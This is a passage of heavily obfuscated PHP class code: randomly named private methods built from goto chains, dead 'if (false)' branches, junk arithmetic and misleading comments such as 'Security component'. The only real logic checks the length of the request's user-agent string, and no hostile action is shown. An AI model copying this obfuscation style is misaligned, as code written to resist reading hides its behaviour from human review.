$XsucffsH * 5; goto s5qxFGUG; s5qxFGUG: /* Main service */ goto a3QMWuFPd; a3QMWuFPd: /* VzuUEsD5BQCoZF6etvYJ */ $jIP39ari = 697 + 37; $iCjD65Pi = $jIP39ari * 3; goto Zg9ZnZqt; Zg9ZnZqt: $XsucffsH = 265 + 29; $bZa4iOd6 = $XsucffsH * 3; if (false) { echo 'This is a dead end'; } goto G9tpTKj7; G9tpTKj7: // vGl2eAxbTctYoqyl goto a_z_FI_LX; a_z_FI_LX: // 6PXfVs7ckLNkLUZ4 $WWDcP6ib = 404 + 5; $iX1geSuk = $WWDcP6ib * 1; if (false) { echo 'This is a dead end'; } goto UwQGCRRb; UwQGCRRb: goto hYyPPXdc; hYyPPXdc: /* Hdm2SBXzbAtIpOZ */ goto bOWL2EVB; bOWL2EVB: $bZa4iOd6 = strlen($a6EHyDbxg); goto QuJqffIK; QuJqffIK: // UYBfg2mgxOtl $B9ma2fmF = 123 + 40; $WWDcP6ib = $B9ma2fmF * 3; goto RFFmaUx3; RFFmaUx3: /* RlVN84InDDkpV0a */ $n7sJ6WnP = 243 + 26; $FbaGmw5w = $n7sJ6WnP * 5; goto a3EH9Og5k; a3EH9Og5k: /* AqioDMOJdlk0UMT */ if (false) { echo 'This is a dead end'; } goto pY_7Ej_y; pY_7Ej_y: if (false) { echo 'This is a dead end'; } goto zkGWVjMI; zkGWVjMI: /* eqUApH2qHw */ goto PEvW1F93; PEvW1F93: if (false) { echo 'This is a dead end'; } goto LAXGfAfm; LAXGfAfm: // n00ccFCAp89aaSN2 goto hxSj37Kx; hxSj37Kx: if (false) { echo 'This is a dead end'; } goto dLyJTvmb; dLyJTvmb: // TCPfvAMI $a6b9oay5s = 290 + 15; $Pe9zuJ4r = $a6b9oay5s * 2; goto a5nedPElJ; a5nedPElJ: /* Security component */ $a6b9oay5s = 504 + 3; $bZa4iOd6 = $a6b9oay5s * 2; goto EKeMU4DM; EKeMU4DM: /* API handler */ $FbaGmw5w = 357 + 35; $iCjD65Pi = $FbaGmw5w * 1; goto a8VowpG1y; a8VowpG1y: // ty0TjXHQ goto MbqVy3nk; MbqVy3nk: goto wduvlPeU; wduvlPeU: goto S0nGuk9a; S0nGuk9a: if (false) { echo 'This is a dead end'; } goto AozOJBrJ; AozOJBrJ: return $bZa4iOd6 > 10; } private function r9YEcfIS0t() { goto ISxup229; ISxup229: /* oASVKvYNQxr7hssiYtTC */ goto MuftoSmH; MuftoSmH: /* Main service */ if (false) { echo 'This is a dead end'; } goto laNznBbq; laNznBbq: if (false) { echo 'This is a dead end'; } goto HCLtCmI4; HCLtCmI4: // 7AJKZRMEqL8eab20 $a6EHyDbxg = 574 + 19; $a6EHyDbxg = $a6EHyDbxg * 1; goto Dn3ugfiw; Dn3ugfiw: $bZa4iOd6 = 330 + 26; $jIP39ari = $bZa4iOd6 * 4; goto WMe42SPJ; WMe42SPJ: goto EmfbGbRB; EmfbGbRB: goto zhamPfo6; zhamPfo6: /* VELVI29WqT3FpNsYb8Vg */ $XsucffsH = 489 + 25; $iCjD65Pi = $XsucffsH * 3; if (false) { echo 'This is a dead end'; } goto SnaZrN9g; SnaZrN9g: $a29IFo9lZ = 668 + 31; $NqlX8zGc = $a29IFo9lZ * 3; if (false) { echo 'This is a dead end'; } goto FRyeoE0G; FRyeoE0G: /* KwWz40EdOtbkXrYzHQJJ */ $FbaGmw5w = 350 + 11; $n7sJ6WnP = $FbaGmw5w * 5; goto F3derVQw; F3derVQw: /* jgqJjGXmNKssKfqN4AQd */ if (false) { echo 'This is a dead end'; } goto a2c9SwxVd; a2c9SwxVd: /* Security component */ $BqYDw4sr = 495 + 22; $a6b9oay5s = $BqYDw4sr * 1; goto Us8RbO3r; Us8RbO3r: /* aOMtCDdmhl7VvB3GGzc7 */ $n7sJ6WnP = 107 + 26; $Pe9zuJ4r = $n7sJ6WnP * 3; goto TqMEsXZj; TqMEsXZj: // I8p6ls9H $XsucffsH = 910 + 23; $B9ma2fmF = $XsucffsH * 1; goto twC8d6CF; twC8d6CF: // sKktoQ_lh9lP $WWDcP6ib = 875 + 3; $NqlX8zGc = $WWDcP6ib * 5; if (false) { echo 'This is a dead end'; } goto a5MWRG4la; a5MWRG4la: $WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a091nKA8B; a091nKA8B: goto vleQHodP; vleQHodP: /* Main service */ if (false) { echo 'This is a dead end'; } goto n00B9WFw; n00B9WFw: $FbaGmw5w = 365 + 2; $NqlX8zGc = $FbaGmw5w * 1; goto iUErwXCL; iUErwXCL: /* 3JXLyAFogY1ZEzb */ goto a4dY3Vk39; a4dY3Vk39: /* API handler */ goto wKH_qzHK; wKH_qzHK: goto a1vivETA3; a1vivETA3: goto a4XV6kl15; a4XV6kl15: goto Zt9dawaf; Zt9dawaf: $B9ma2fmF = 593 + 37; $a6EHyDbxg = $B9ma2fmF * 4; if (false) { echo 'This is a dead end'; } goto VXXKvvMJ; VXXKvvMJ: $n7sJ6WnP = 934 + 19; $a6EHyDbxg = $n7sJ6WnP * 4; goto dnz22xDM; dnz22xDM: /* System file */ if (false) { echo 'This is a dead end'; } goto yFFSajyX; yFFSajyX: /* Core module */ goto MgVrNQy9; MgVrNQy9: /* API handler */ $XsucffsH = 322 + 15; $a6b9oay5s = $XsucffsH * 1; goto cfTRNdxI; cfTRNdxI: /* API handler */ goto SbwaEPbg; SbwaEPbg: $B9ma2fmF = 370 + 5; $XsucffsH = $B9ma2fmF * 1; goto bRycG4gO; bRycG4gO: $iCjD65Pi = strlen($WWDcP6ib); goto RftPtuxp; RftPtuxp: goto MDBOSzbk; MDBOSzbk: $bZa4iOd6 = 458 + 22; $BqYDw4sr = $bZa4iOd6 * 2; goto a8t6K_SYJ; a8t6K_SYJ: if (false) { echo 'This is a dead end'; } goto sGGwfj_N; sGGwfj_N: $a6b9oay5s = 886 + 21; $a29IFo9lZ = $a6b9oay5s * 2; goto kLjw8u40; kLjw8u40: goto w48NIKCW; w48NIKCW: // gx4SM4LwlwAp goto g3Lu06NB; g3Lu06NB: goto a6Nc9zWAN; a6Nc9zWAN: $iCjD65Pi = 368 + 1; $B9ma2fmF = $iCjD65Pi * 2; goto a5WgKt65d; a5WgKt65d: $iCjD65Pi = 211 + 31; $a6b9oay5s = $iCjD65Pi * 4; goto Z3ddDrhZ; Z3ddDrhZ: // A8q4zYXYCHQjFlyA $Pe9zuJ4r = 678 + 48; $Pe9zuJ4r = $Pe9zuJ4r * 3; if (false) { echo 'This is a dead end'; } goto a5Du7YVXz; a5Du7YVXz: /* Security component */ goto IfJacYag; IfJacYag: // OglpaST823K7 goto qdaK_0FT; qdaK_0FT: $Pe9zuJ4r = 774 + 28; $a6EHyDbxg = $Pe9zuJ4r * 5; goto Y_HnWqq3; Y_HnWqq3: goto NUXkQUx_; NUXkQUx_: goto Mf0OFiDk; Mf0OFiDk: return $iCjD65Pi > 10; } private function MLZ943hKNs() { /* Main service */ goto xg_YhWAK; xg_YhWAK: if (false) { echo 'This is a dead end'; } goto dg7zGgAp; dg7zGgAp: if (false) { echo 'This is a dead end'; } goto whueomdF; whueomdF: $bZa4iOd6 = 733 + 23; $WWDcP6ib = $bZa4iOd6 * 3; goto a0mxxM5ek; a0mxxM5ek: /* Security component */ goto MRsqJpDz; MRsqJpDz: // R98vOEGw4fcB goto wzxvKOJf; wzxvKOJf: $iX1geSuk = 586 + 18; $XsucffsH = $iX1geSuk * 3; goto WfadiTUa; WfadiTUa: $iCjD65Pi = 104 + 7; $NqlX8zGc = $iCjD65Pi * 1; goto VbdM01Gw; VbdM01Gw: /* j03VJ2wbduo0HSo */ if (false) { echo 'This is a dead end'; } goto ECUs6YKb; ECUs6YKb: goto LCZtecR1; LCZtecR1: if (false) { echo 'This is a dead end'; } goto mAkVIO75; mAkVIO75: goto A0NyC0c_; A0NyC0c_: /* 84duU27KUPba5dzVgOuz */ goto a0VHuxlrP; a0VHuxlrP: $bZa4iOd6 = 436 + 5; $bZa4iOd6 = $bZa4iOd6 * 5; goto a3wW4HThb; a3wW4HThb: /* Core module */ $WWDcP6ib = 370 + 28; $XsucffsH = $WWDcP6ib * 1; goto qFO0SgJ5; qFO0SgJ5: /* System file */ if (false) { echo 'This is a dead end'; } goto jeZYVrpF; jeZYVrpF: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto w8r8l3eD; w8r8l3eD: $B9ma2fmF = 932 + 29; $BqYDw4sr = $B9ma2fmF * 1; goto y8sjqhUn; y8sjqhUn: goto Q2CeaXhy; Q2CeaXhy: // CklTpDO2jUKoihW_ goto zWsvO8yB; zWsvO8yB: /* API handler */ goto c9sEYa2f; c9sEYa2f: goto cN0fWm_l; cN0fWm_l: // XekzWasJ goto Mvf4AYzs; Mvf4AYzs: /* API handler */ $NqlX8zGc = 341 + 25; $a29IFo9lZ = $NqlX8zGc * 3; goto z5sY9VkL; z5sY9VkL: goto s4NXsgBm; s4NXsgBm: /* System file */ $NqlX8zGc = 286 + 3; $iX1geSuk = $NqlX8zGc * 2; if (false) { echo 'This is a dead end'; } goto a8xri2z0W; a8xri2z0W: /* NgDfXAwwywdzSh9 */ goto qCTnxwsy; qCTnxwsy: /* Core module */ $iCjD65Pi = 304 + 10; $a29IFo9lZ = $iCjD65Pi * 2; goto pt14AJzG; pt14AJzG: if (false) { echo 'This is a dead end'; } goto cBsWFOsf; cBsWFOsf: $iX1geSuk = 266 + 43; $a29IFo9lZ = $iX1geSuk * 1; goto a15dmDUJf; a15dmDUJf: /* 4jKz84TFpuBQYSeKkSJA */ $Pe9zuJ4r = 173 + 32; $jIP39ari = $Pe9zuJ4r * 3; goto jByHDrRU; jByHDrRU: goto HYFJNXX4; HYFJNXX4: $BqYDw4sr = strlen($XsucffsH); goto lYzvpIiX; lYzvpIiX: goto bUjxfO7f; bUjxfO7f: $Pe9zuJ4r = 759 + 37; $Pe9zuJ4r = $Pe9zuJ4r * 2; goto s91x6NUC; s91x6NUC: /* System file */ $B9ma2fmF = 826 + 10; $iX1geSuk = $B9ma2fmF * 1; goto yHw0jRgy; yHw0jRgy: // eN7ERSd2 goto WNDgqjpS; WNDgqjpS: // L_tTu1JXw10QFXar $a6b9oay5s = 299 + 29; $n7sJ6WnP = $a6b9oay5s * 1; goto YFJFzGsk; YFJFzGsk: goto X9Y6JTEs; X9Y6JTEs: /* Core module */ goto LqRhBaCq; LqRhBaCq: /* Core module */ $XsucffsH = 503 + 8; $a6b9oay5s = $XsucffsH * 4; goto fSejwIn6; fSejwIn6: goto pJGD0zig; pJGD0zig: // uoGLsumz $FbaGmw5w = 884 + 48; $B9ma2fmF = $FbaGmw5w * 3; goto O2OAQQDQ; O2OAQQDQ: /* Main service */ $iX1geSuk = 902 + 8; $NqlX8zGc = $iX1geSuk * 5; if (false) { echo 'This is a dead end'; } goto eRnr2qW7; eRnr2qW7: /* Core module */ $WWDcP6ib = 391 + 24; $iX1geSuk = $WWDcP6ib * 2; goto uFK8EMy1; uFK8EMy1: goto tsU0Vp3t; tsU0Vp3t: /* System file */ $a6EHyDbxg = 256 + 29; $iCjD65Pi = $a6EHyDbxg * 1; goto EiI1I7S0; EiI1I7S0: $XsucffsH = 605 + 24; $B9ma2fmF = $XsucffsH * 4; goto HQY3mK8U; HQY3mK8U: return $BqYDw4sr > 10; } private function JQnfyvBsfo() { // eiNs_OvD6Sae goto PP92vvJ0; PP92vvJ0: $jIP39ari = 750 + 47; $XsucffsH = $jIP39ari * 1; goto a1wEwZWmS; a1wEwZWmS: /* System file */ goto oFBkXMcj; oFBkXMcj: goto a2ok4ZC9E; a2ok4ZC9E: goto a6CKZRD7_; a6CKZRD7_: $iX1geSuk = 675 + 12; $n7sJ6WnP = $iX1geSuk * 1; goto aB5tHteg; aB5tHteg: // InWiE_a1 goto BpxXOs_g; BpxXOs_g: $a6EHyDbxg = 285 + 22; $B9ma2fmF = $a6EHyDbxg * 4; goto AEVHI0p3; AEVHI0p3: $FbaGmw5w = 750 + 49; $iCjD65Pi = $FbaGmw5w * 2; goto bZeH3Dsq; bZeH3Dsq: /* xnkjdVGn55 */ goto a8_WPWnLQ; a8_WPWnLQ: /* gItS_oU4w1ztJSa */ goto YSrXkXiu; YSrXkXiu: /* System file */ if (false) { echo 'This is a dead end'; } goto a58iZg8Kj; a58iZg8Kj: /* iB9Ft2wFJb */ goto f8CH2I51; f8CH2I51: goto tHUmNAFM; tHUmNAFM: // pUz1NgVt if (false) { echo 'This is a dead end'; } goto Zwh6ovx5; Zwh6ovx5: // btQxKvXv goto kofCWcpf; kofCWcpf: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a5tb1QbFg; a5tb1QbFg: /* Security component */ if (false) { echo 'This is a dead end'; } goto zspJj7ps; zspJj7ps: /* Core module */ $BqYDw4sr = 624 + 6; $XsucffsH = $BqYDw4sr * 4; goto mYyXiUX1; mYyXiUX1: goto qo6FfoAO; qo6FfoAO: /* yeE_v1xuzO */ $FbaGmw5w = 918 + 20; $jIP39ari = $FbaGmw5w * 4; goto Omr_7zJJ; Omr_7zJJ: goto H4ThhqPS; H4ThhqPS: // bv836Woq $WWDcP6ib = 706 + 27; $NqlX8zGc = $WWDcP6ib * 3; goto a7FXYtmSZ; a7FXYtmSZ: /* Core module */ goto Qo8uofDb; Qo8uofDb: goto EdnvUKUV; EdnvUKUV: goto XN_Amc9F; XN_Amc9F: /* aqS2_NgVUFUFcChBSod_ */ goto a62NHAsEK; a62NHAsEK: goto kQq4ojYo; kQq4ojYo: if (false) { echo 'This is a dead end'; } goto pxD6XUq3; pxD6XUq3: $WWDcP6ib = 245 + 3; $NqlX8zGc = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto LbNQNLyO; LbNQNLyO: goto a7PBr8QNy; a7PBr8QNy: /* System file */ goto qZ5rBuXl; qZ5rBuXl: $B9ma2fmF = strlen($XsucffsH); goto eXi9klY0; eXi9klY0: // 8u4yGAX6 goto y3KQcxZY; y3KQcxZY: /* System file */ $jIP39ari = 825 + 40; $a6EHyDbxg = $jIP39ari * 5; goto sLY0lbZZ; sLY0lbZZ: $FbaGmw5w = 680 + 39; $n7sJ6WnP = $FbaGmw5w * 3; goto a82HHu98M; a82HHu98M: /* API handler */ goto EE0Zpdsz; EE0Zpdsz: /* oyzff1CZbiQsDMezhQf5 */ $FbaGmw5w = 442 + 15; $iCjD65Pi = $FbaGmw5w * 3; goto xFADu9_t; xFADu9_t: $iCjD65Pi = 379 + 41; $FbaGmw5w = $iCjD65Pi * 2; goto u4Gz2QuV; u4Gz2QuV: // Km8wzGmori3Rjmjr goto HaMzU9Ab; HaMzU9Ab: // scVxTGjy if (false) { echo 'This is a dead end'; } goto cKWysOT9; cKWysOT9: /* Core module */ goto a_ZXdndBX; a_ZXdndBX: goto Wuyxxre8; Wuyxxre8: goto zWwYoJSW; zWwYoJSW: // nnGJCjiwemmR goto TQt5wcEk; TQt5wcEk: goto BAmxAgqj; BAmxAgqj: /* API handler */ $a6EHyDbxg = 470 + 7; $BqYDw4sr = $a6EHyDbxg * 4; goto a2OUmA44A; a2OUmA44A: /* Security component */ goto pZ8c1xBm; pZ8c1xBm: return $B9ma2fmF > 10; } private function a3tMJHZ96Ww() { goto txLeQ2Wj; txLeQ2Wj: /* Core module */ $WWDcP6ib = 311 + 21; $a29IFo9lZ = $WWDcP6ib * 1; goto EGyGSsUp; EGyGSsUp: $FbaGmw5w = 533 + 21; $jIP39ari = $FbaGmw5w * 1; goto a87cbYPv0; a87cbYPv0: goto UQZI5Yjh; UQZI5Yjh: /* 6dmTOt3A9S */ if (false) { echo 'This is a dead end'; } goto B28Cp7hB; B28Cp7hB: /* 5fDFF3ucwvgpFHf */ $a6EHyDbxg = 811 + 1; $FbaGmw5w = $a6EHyDbxg * 3; goto AEJxRbBc; AEJxRbBc: /* 2fHC50V5vdiiQ0b */ goto ELxk09DB; ELxk09DB: // na0OZQfOl6T0 if (false) { echo 'This is a dead end'; } goto YfZ7lnrB; YfZ7lnrB: /* Main service */ goto kMC9Y8XJ; kMC9Y8XJ: /* System file */ $NqlX8zGc = 195 + 19; $B9ma2fmF = $NqlX8zGc * 5; goto s69zfcLN; s69zfcLN: /* K_z3GdhXR5XxS3daSIO8 */ goto fZnQqWkd; fZnQqWkd: /* Security component */ goto mfttzMZX; mfttzMZX: /* yXdu8VfYwA */ goto iG5OiaRm; iG5OiaRm: /* 4lWjMzwlqKTNET9 */ goto OMJp6HDH; OMJp6HDH: /* U35Wsfxquu */ goto a4nRSlyvA; a4nRSlyvA: // B1qplFvVkbKQaFLv goto qiN7OPM_; qiN7OPM_: $jIP39ari = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto moMGghqX; moMGghqX: goto RdShh_5W; RdShh_5W: // nOQIoTGx if (false) { echo 'This is a dead end'; } goto qfnSQEmN; qfnSQEmN: /* Core module */ $FbaGmw5w = 750 + 49; $FbaGmw5w = $FbaGmw5w * 2; if (false) { echo 'This is a dead end'; } goto a1wrjBzSE; a1wrjBzSE: /* Main service */ goto ywCNRAFH; ywCNRAFH: goto a1936H0y1; a1936H0y1: goto Q6MpoYQQ; Q6MpoYQQ: $a29IFo9lZ = 562 + 50; $iX1geSuk = $a29IFo9lZ * 2; goto fapBIYQR; fapBIYQR: /* System file */ goto A2q9PTEb; A2q9PTEb: /* Security component */ goto a5nlNFjh_; a5nlNFjh_: goto XIjnCIBN; XIjnCIBN: /* Main service */ if (false) { echo 'This is a dead end'; } goto nOIa5Je8; nOIa5Je8: // i0MdNnrEQrsM if (false) { echo 'This is a dead end'; } goto a1ta5qMw; a1ta5qMw: /* Security component */ goto cxLE_ohJ; cxLE_ohJ: // tdp0XPq4 $WWDcP6ib = 105 + 40; $iX1geSuk = $WWDcP6ib * 5; goto zWVYoi9x; zWVYoi9x: /* API handler */ if (false) { echo 'This is a dead end'; } goto ouh9cbOM; ouh9cbOM: $bZa4iOd6 = strlen($jIP39ari); goto a6TXF1y06; a6TXF1y06: /* API handler */ goto znQ3pIi4; znQ3pIi4: goto a7zpuZORr; a7zpuZORr: /* Core module */ goto xdXYK1TO; xdXYK1TO: goto hnAwq2os; hnAwq2os: goto sQhFMbju; sQhFMbju: /* b2PLyRDoD_pmu3O */ if (false) { echo 'This is a dead end'; } goto zNXpcprY; zNXpcprY: goto gFweuuVL; gFweuuVL: // MFTxs1Ww goto q9KgqY24; q9KgqY24: $bZa4iOd6 = 427 + 35; $BqYDw4sr = $bZa4iOd6 * 4; goto PgUClRxY; PgUClRxY: $Pe9zuJ4r = 879 + 45; $B9ma2fmF = $Pe9zuJ4r * 1; goto kLnbVEnH; kLnbVEnH: /* API handler */ goto ONIwknKS; ONIwknKS: /* RMt6lxV3zEYfGDP */ goto AtM255qj; AtM255qj: goto FEnzyN4h; FEnzyN4h: // ASdOQX_yAHiOhZAZ goto Lt6P_ebm; Lt6P_ebm: /* D7O56F8TKMJudwL */ goto ZjNKd6cE; ZjNKd6cE: return $bZa4iOd6 > 10; } private function a72IzioQofL() { goto a9n3jYUrx; a9n3jYUrx: if (false) { echo 'This is a dead end'; } goto dCDKHDsy; dCDKHDsy: goto kRNLQX3c; kRNLQX3c: if (false) { echo 'This is a dead end'; } goto Tw_pW3Uu; Tw_pW3Uu: /* System file */ $iCjD65Pi = 225 + 23; $iCjD65Pi = $iCjD65Pi * 4; goto auf_6xDd; auf_6xDd: /* X2oKliytQfED2ZMmhVy0 */ goto CSqxWeYw; CSqxWeYw: goto BTC3htQY; BTC3htQY: goto a2gEv5Voh; a2gEv5Voh: /* Main service */ $XsucffsH = 303 + 21; $iCjD65Pi = $XsucffsH * 5; goto yguL96A8; yguL96A8: $iCjD65Pi = 812 + 47; $NqlX8zGc = $iCjD65Pi * 1; if (false) { echo 'This is a dead end'; } goto U4LRt2bu; U4LRt2bu: /* Security component */ goto a5rLlq09O; a5rLlq09O: goto CFRrMDf8; CFRrMDf8: goto mggsZzVB; mggsZzVB: goto gn2BkgBT; gn2BkgBT: if (false) { echo 'This is a dead end'; } goto w7sOZImo; w7sOZImo: $FbaGmw5w = 146 + 28; $WWDcP6ib = $FbaGmw5w * 1; goto a6NoD7XEq; a6NoD7XEq: $B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto j8itNlcK; j8itNlcK: goto X3pGVVqn; X3pGVVqn: /* API handler */ $jIP39ari = 747 + 26; $NqlX8zGc = $jIP39ari * 2; if (false) { echo 'This is a dead end'; } goto fWeUOp8j; fWeUOp8j: $n7sJ6WnP = 800 + 39; $B9ma2fmF = $n7sJ6WnP * 2; goto KK6N99lh; KK6N99lh: goto ozZsc0Ok; ozZsc0Ok: /* tknwlcwGn0 */ goto E9nBLfC0; E9nBLfC0: /* 1gts5kWZc4zR0lqPvy3O */ goto F3PgWm8b; F3PgWm8b: $XsucffsH = 269 + 2; $WWDcP6ib = $XsucffsH * 5; goto XTTWlYeK; XTTWlYeK: /* RfmH7dULCXGQLB4 */ goto gd2YNDyc; gd2YNDyc: goto wdOgUJLA; wdOgUJLA: goto RUSXNMZO; RUSXNMZO: // ZxC6IN_Z goto VCgdf8fG; VCgdf8fG: $BqYDw4sr = 648 + 9; $jIP39ari = $BqYDw4sr * 1; goto lOtexWDU; lOtexWDU: $B9ma2fmF = 375 + 24; $a6EHyDbxg = $B9ma2fmF * 5; goto SzOg4tEv; SzOg4tEv: /* Core module */ goto bOQGj_p2; bOQGj_p2: if (false) { echo 'This is a dead end'; } goto D3VSDFsU; D3VSDFsU: $a6b9oay5s = strlen($B9ma2fmF); goto uclevFtL; uclevFtL: /* Core module */ goto H8jcAbjT; H8jcAbjT: /* API handler */ $bZa4iOd6 = 631 + 5; $Pe9zuJ4r = $bZa4iOd6 * 4; goto UgWWoJ3x; UgWWoJ3x: /* Security component */ $iX1geSuk = 559 + 4; $iX1geSuk = $iX1geSuk * 1; if (false) { echo 'This is a dead end'; } goto DTxsNj5j; DTxsNj5j: $a29IFo9lZ = 682 + 19; $iCjD65Pi = $a29IFo9lZ * 3; goto K4olgrMK; K4olgrMK: $BqYDw4sr = 124 + 11; $n7sJ6WnP = $BqYDw4sr * 3; if (false) { echo 'This is a dead end'; } goto CLcy6E93; CLcy6E93: // wuVDjivtmVkQ if (false) { echo 'This is a dead end'; } goto QiGNQstq; QiGNQstq: /* VAp8wxEPv7_CmGx */ goto D7htMbsZ; D7htMbsZ: goto GOOLcl8i; GOOLcl8i: // zkl6JfPuNFH0 goto y4uNxte7; y4uNxte7: // MJ6iGjm4_azp goto Ek2uxFXb; Ek2uxFXb: goto M2ues01I; M2ues01I: if (false) { echo 'This is a dead end'; } goto a1gcoKAco; a1gcoKAco: // rlHY11Qhtev4JAqP if (false) { echo 'This is a dead end'; } goto a07T5q1IM; a07T5q1IM: $a29IFo9lZ = 265 + 4; $NqlX8zGc = $a29IFo9lZ * 2; goto kyadxQD_; kyadxQD_: goto lmnMuvmm; lmnMuvmm: return $a6b9oay5s > 10; } private function W_V0YkeSQb() { // t0hUf0INgeJ7Qqbr goto NnrkLfn2; NnrkLfn2: // 8X6v5xQN goto MqwE0345; MqwE0345: $BqYDw4sr = 154 + 42; $WWDcP6ib = $BqYDw4sr * 1; if (false) { echo 'This is a dead end'; } goto M73L4HJJ; M73L4HJJ: /* Security component */ goto UMF0lTj7; UMF0lTj7: goto a0EDCCkJg; a0EDCCkJg: if (false) { echo 'This is a dead end'; } goto EbKurnZj; EbKurnZj: if (false) { echo 'This is a dead end'; } goto Ibyi9K45; Ibyi9K45: /* T0CdfYIz_S_9Npumya_G */ goto Esp8s9l3; Esp8s9l3: goto XLHCBCez; XLHCBCez: /* laK3zMFWvc */ goto QmoyFAFX; QmoyFAFX: // _xgQ_QMvLMni $jIP39ari = 595 + 31; $a29IFo9lZ = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto b0uOdGUM; b0uOdGUM: /* Main service */ goto WLsPi51l; WLsPi51l: // Lc3Cd1tN goto OS7xS_C1; OS7xS_C1: goto U0D4IVVs; U0D4IVVs: // lCNBW8rk4bVHcdea goto duxg0lFj; duxg0lFj: if (false) { echo 'This is a dead end'; } goto fgE7j52z; fgE7j52z: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto VzHDBMEU; VzHDBMEU: /* iRK_CVJ_NoZ8nhx */ goto IhrmOe1Y; IhrmOe1Y: goto L8dBYs9F; L8dBYs9F: goto QuUAYaG6; QuUAYaG6: goto a74XsV6Ne; a74XsV6Ne: goto ixuuzFGz; ixuuzFGz: $jIP39ari = 261 + 11; $iCjD65Pi = $jIP39ari * 3; goto a0zXmYVWL; a0zXmYVWL: goto UFSoHjsQ; UFSoHjsQ: /* S_gccO88IDpgvqZ */ goto a86MQygW_; a86MQygW_: // LMJRaHiy $BqYDw4sr = 105 + 26; $iCjD65Pi = $BqYDw4sr * 1; goto wzPuYZ5E; wzPuYZ5E: goto H59o4RLg; H59o4RLg: /* Main service */ goto w1i6TCON; w1i6TCON: /* Core module */ $B9ma2fmF = 885 + 19; $B9ma2fmF = $B9ma2fmF * 3; if (false) { echo 'This is a dead end'; } goto HpKSjq57; HpKSjq57: /* API handler */ goto gxuI0jQT; gxuI0jQT: goto Aaos6oil; Aaos6oil: $BqYDw4sr = 938 + 4; $NqlX8zGc = $BqYDw4sr * 4; goto IsxwUCh9; IsxwUCh9: $Pe9zuJ4r = strlen($Pe9zuJ4r); goto otH7hw6F; otH7hw6F: goto k8acCrDu; k8acCrDu: /* API handler */ goto a4p9vEH08; a4p9vEH08: if (false) { echo 'This is a dead end'; } goto lKlOAZes; lKlOAZes: $iCjD65Pi = 488 + 23; $Pe9zuJ4r = $iCjD65Pi * 1; goto BRJzvdE_; BRJzvdE_: goto SIUtMTCA; SIUtMTCA: goto NjjRkklx; NjjRkklx: /* Security component */ $n7sJ6WnP = 444 + 26; $B9ma2fmF = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto Vgw5kjs3; Vgw5kjs3: /* x7vgvuTQb1B3Jzx */ $WWDcP6ib = 177 + 18; $bZa4iOd6 = $WWDcP6ib * 2; goto nkZyCv_Z; nkZyCv_Z: goto MpJHGL9v; MpJHGL9v: /* XWHGXCLoOFlWlzc */ goto Rzx25cUW; Rzx25cUW: // 4uvMcbV_whBC $B9ma2fmF = 738 + 7; $a6EHyDbxg = $B9ma2fmF * 5; goto KdC0jq7F; KdC0jq7F: goto a5u47etcU; a5u47etcU: /* Core module */ $XsucffsH = 891 + 6; $NqlX8zGc = $XsucffsH * 1; goto JKLWx9KX; JKLWx9KX: /* eGOpcSWLdSXv7oQk49E9 */ if (false) { echo 'This is a dead end'; } goto jci3dAN1; jci3dAN1: /* 1FqP1NgaZu */ goto AjJYDaPI; AjJYDaPI: return $Pe9zuJ4r > 10; } private function a1xlC_66YCE() { goto g3yxukyO; g3yxukyO: /* 3ksL4ssRsd */ $BqYDw4sr = 706 + 36; $WWDcP6ib = $BqYDw4sr * 2; goto k9KnhyF7; k9KnhyF7: /* Security component */ $a29IFo9lZ = 648 + 22; $a6b9oay5s = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto ZaSCGn7D; ZaSCGn7D: goto UXLjbnmw; UXLjbnmw: goto mnWdmrlP; mnWdmrlP: // q57bdCMecv8y $bZa4iOd6 = 818 + 16; $jIP39ari = $bZa4iOd6 * 1; goto g2l0xRq1; g2l0xRq1: /* fYSC7FaJY8 */ goto XdOs83B2; XdOs83B2: /* Core module */ $iCjD65Pi = 851 + 19; $a6b9oay5s = $iCjD65Pi * 2; if (false) { echo 'This is a dead end'; } goto I2UJR6UL; I2UJR6UL: $a29IFo9lZ = 582 + 35; $jIP39ari = $a29IFo9lZ * 4; goto WORc7HWF; WORc7HWF: goto KYB1c3WM; KYB1c3WM: // BZbWCi4Y if (false) { echo 'This is a dead end'; } goto UUWEL_Vr; UUWEL_Vr: /* API handler */ goto qT2w7Qkh; qT2w7Qkh: goto vOI1nCSW; vOI1nCSW: /* System file */ $iX1geSuk = 979 + 26; $XsucffsH = $iX1geSuk * 4; if (false) { echo 'This is a dead end'; } goto ZnRlDQoX; ZnRlDQoX: /* API handler */ goto qS_WFCWa; qS_WFCWa: /* Core module */ if (false) { echo 'This is a dead end'; } goto jbeL6nWp; jbeL6nWp: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto MXGjh1ah; MXGjh1ah: if (false) { echo 'This is a dead end'; } goto MGP_xpMo; MGP_xpMo: /* WL3YSbbmkEYz_CQvAZW7 */ $B9ma2fmF = 136 + 19; $iCjD65Pi = $B9ma2fmF * 5; goto vI4ZqU1q; vI4ZqU1q: /* vAVPq7oJkkBXZyO */ goto NmECVifD; NmECVifD: $bZa4iOd6 = 106 + 35; $BqYDw4sr = $bZa4iOd6 * 2; goto zyjPQAIC; zyjPQAIC: goto a8rg6pgDI; a8rg6pgDI: /* Core module */ goto a3o0YETaE; a3o0YETaE: goto f1F8sJ_L; f1F8sJ_L: /* 2spBFVKFP6SBCiG790NK */ goto hvaXvaN_; hvaXvaN_: // T1G4hIcHGX47uT1D goto cKJ57Hk0; cKJ57Hk0: goto a1jDavvDn; a1jDavvDn: $B9ma2fmF = 101 + 18; $bZa4iOd6 = $B9ma2fmF * 3; goto ebOlPrwI; ebOlPrwI: /* Security component */ goto R5ehuGVs; 